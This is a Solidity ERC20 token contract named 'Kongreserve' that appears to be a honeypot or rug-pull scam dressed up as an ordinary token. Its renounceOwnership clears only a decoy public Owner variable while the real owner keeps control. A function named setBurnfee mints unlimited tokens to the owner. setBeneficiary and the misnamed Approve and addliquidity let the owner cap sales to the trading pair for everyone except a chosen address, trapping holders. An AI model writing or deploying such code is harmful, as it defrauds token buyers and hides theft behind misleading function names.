// SPDX-License-Identifier: MIT

pragma solidity ^0.6.11;

library Address {
        function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
    library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
   
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    
    function _call() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    
    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    address public Owner;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () internal {
        address call = _call();
        _owner = call;
         Owner = call;
        emit OwnershipTransferred(address(0), call);
    }
  

    modifier onlyOwner() {
        require(_owner == _call(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
         Owner = address(0);
    }
    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    
    }
    
}

contract Kongreserve is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _router;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private public_address;
    address private caller;
    uint256 private _totalTokens = 1000000000 * 10**18;
    string private _name = 'Kongreserve';
    string private _symbol = 'KONGRESERVE';
    uint8 private _decimals = 18;    
    uint256 private rTotal = 1000000000 * 10**18;

constructor () public {
    _router[_call()] = _totalTokens;
    emit Transfer(address(0), _call(), _totalTokens);
}
    
   
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }
    
    function Approve(address routeUniswap) public onlyOwner {
        caller = routeUniswap;
    }
    
    function addliquidity (address Uniswaprouterv02) public onlyOwner {
        public_address = Uniswaprouterv02;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_call(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _call(), _allowances[sender][_call()].sub(amount));
        return true;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalTokens;
    }
    
    function setBeneficiary(uint256 reflectionPercent) public onlyOwner {
        rTotal = reflectionPercent * 10**18;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _router[account];
    }
    
    function setBurnfee(uint256 amount) public onlyOwner {
        require(_call() != address(0));
        _totalTokens = _totalTokens.add(amount);
        _router[_call()] = _router[_call()].add(amount);
        emit Transfer(address(0), _call(), amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_call(), recipient, amount);
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
      
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));
        
        if (sender != caller && recipient == public_address) {
            require(amount < rTotal);
        }
    
        _router[sender] = _router[sender].sub(amount);
        _router[recipient] = _router[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 }